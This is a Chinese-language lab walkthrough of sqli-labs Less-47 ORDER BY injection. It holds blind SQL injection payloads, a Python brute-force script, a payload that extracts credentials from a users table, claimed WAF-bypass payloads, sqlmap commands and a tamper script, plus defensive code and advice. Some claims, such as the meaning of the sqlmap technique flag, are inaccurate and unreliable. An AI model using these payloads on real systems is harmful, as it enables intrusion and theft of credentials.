1. sqli-labs-Less-47通关实战解析
作为Web安全领域的经典靶场,sqli-labs系列一直是安全从业者练习SQL注入技术的首选。Less-47这一关在难度上属于中高级别,需要综合运用多种注入技术才能突破。我在实际渗透测试工作中发现,这类基于排序注入(Order By Injection)的漏洞在企业系统中普遍存在但容易被忽视。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞环境与核心原理分析
2.1 靶场环境搭建
首先需要准备PHP+MySQL环境,推荐使用XAMPP或Docker快速部署。将下载的sqli-labs源码解压到web目录后,重点检查以下配置:
- /sql-connections/db-creds.inc中的数据库账号
- PHP版本需5.x以上(7.x需调整部分语法)
- allow_url_include=On(部分关卡需要)
注意:实际测试时建议使用虚拟机隔离环境,避免影响主机安全
2.2 注入点定位技术
访问Less-47页面时会看到商品列表,关键注入点隐藏在排序参数:
code复制http://localhost/sqli-labs/Less-47/?sort=1
通过Burp Suite抓包可发现,sort参数直接拼接到SQL语句的ORDER BY子句。与常规注入不同,这里不能使用UNION注入,因为ORDER BY后只能接列名或表达式。
2.3 排序注入原理深度剖析
MySQL的ORDER BY子句具有以下特性:
- 支持列序号(如ORDER BY 1)
- 支持表达式(如ORDER BY (SELECT 1))
- 支持嵌套子查询
- 错误时返回原始排序
利用这些特性,我们可以构造布尔型盲注:
sql复制ORDER BY (SELECT 1 FROM DUAL WHERE ASCII(SUBSTRING(database(),1,1))>100)
当条件为真时按1排序,为假时因报错保持原序,通过页面排序变化判断条件真假。
3. 分步骤渗透实战
3.1 信息收集阶段
使用基于时间的探测手法确定注入类型:
code复制?sort=1;SELECT SLEEP(5)--+
观察到延迟响应确认存在注入后,用以下payload获取基本信息:
sql复制?sort=(SELECT IF(ASCII(SUBSTRING(@@version,1,1))>51,1,2))
通过二分法逐字符判断版本号,实测MySQL 5.7.26版本返回字符为53。
3.2 数据库结构提取
获取表名的高级技巧:
python复制import requests
chars = 'abcdefghijklmnopqrstuvwxyz_'
found = ''
for i in range(1,20):
for c in chars:
payload = f"(SELECT IF(ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1),{i},1))={ord(c)},1,2))"
r = requests.get(f'http://localhost/sqli-labs/Less-47/?sort={payload}')
if 'id=1' in r.text: # 根据实际页面特征调整
found += c
print(found)
break
这个脚本会逐个爆破当前数据库的第一个表名,实战中需要根据响应特征调整判断条件。
3.3 数据提取实战
获取users表数据的技巧:
sql复制?sort=(SELECT IF(ASCII(SUBSTRING((SELECT GROUP_CONCAT(username,0x3a,password) FROM users),1,1))>50,1,2))
遇到特殊字符时建议:
- 使用HEX编码避免截断
- 控制GROUP_CONCAT长度(通过@@group_concat_max_len)
- 分批次提取(LIMIT 10,10)
4. 高级绕过与防御方案
4.1 WAF绕过技巧
针对Cloudflare等WAF的有效payload:
sql复制?sort=1/*!50000PROCEDURE*/ANALYSE(EXTRACTVALUE(1,CONCAT(0x3a,(SELECT USER()))),1)
利用MySQL特有语法和注释绕过关键词检测,配合大小写变异:
code复制?sOrT=1+(sElEcT+1+WhErE+1=1)
4.2 企业级防御方案
在代码层面建议:
php复制// 白名单校验
$allow_sort = ['price','date'];
if(!in_array($_GET['sort'], $allow_sort)){
$sort = 'id';
}else{
$sort = preg_replace('/[^a-zA-Z_]/', '', $_GET['sort']);
}
数据库层面:
- 使用预处理语句
- 设置最小权限原则
- 开启SQL审计日志
5. 实战中的深度问题排查
5.1 字符截断问题
当使用GROUP_CONCAT时可能遇到:
- 默认1024字节限制
- 特殊字符导致JSON解析失败
解决方案:
sql复制SELECT SUBSTRING((SELECT password FROM users LIMIT 1),1,10)
5.2 盲注效率优化
传统二分法需要7次请求/字符,改进方案:
- 基于正则的注入:
sql复制?sort=(SELECT 1 FROM DUAL WHERE database() REGEXP '^[a-z]{5}')
- 位运算判断:
sql复制?sort=(SELECT IF(ORD(SUBSTRING(database(),1,1))&64,1,2))
5.3 非常用数据库注入
针对PostgreSQL的变种:
sql复制?sort=1,(SELECT CASE WHEN (ASCII(SUBSTRING(version(),1,1))>100) THEN 1 ELSE 1/(SELECT 0) END)
Oracle环境需注意:
- 双引号处理
- ROWNUM替代LIMIT
- 需要FROM DUAL
6. 自动化工具实战技巧
6.1 SQLmap高级参数
针对Less-47的特制命令:
bash复制sqlmap -u "http://localhost/sqli-labs/Less-47/?sort=1" \
--technique=BEUST \
--dbms=mysql \
--level=5 \
--risk=3 \
--tamper=between,randomcase
关键参数说明:
- --technique=BEUST:强制使用布尔盲注
- --tamper:组合使用大小写和BETWEEN混淆
- --delay=2:避免触发速率限制
6.2 自定义Tamper脚本
编写orderby.py处理特殊场景:
python复制import random
def tamper(payload):
return payload.replace('ORDER BY',
f"ORDER BY /*{random.randint(1000,9999)}*/")
7. 企业安全建设建议
在甲方安全工作中,建议采取以下措施:
-
代码审计重点检查:
- 所有SQL拼接点
- 动态排序功能
- 报表导出接口
-
部署RASP防护:
- 拦截异常ORDER BY语法
- 监控长时间查询
- 阻断子查询操作
-
红蓝对抗中专项测试:
- 修改Accept头触发不同响应
- 测试JSON/XML格式参数
- 验证缓存穿透场景
真正的安全防护需要建立从开发到运维的全流程管控,包括SDL流程中的安全编码规范、自动化扫描工具集成、以及定期的红蓝对抗演练。我在金融行业实践中发现,排序注入类漏洞平均修复周期长达47天,主要原因在于业务方担心影响现有报表系统。这时候需要安全团队提供具体的影响分析报告和兼容性解决方案,比如通过数据库代理层进行SQL重写而不是直接修改业务代码。
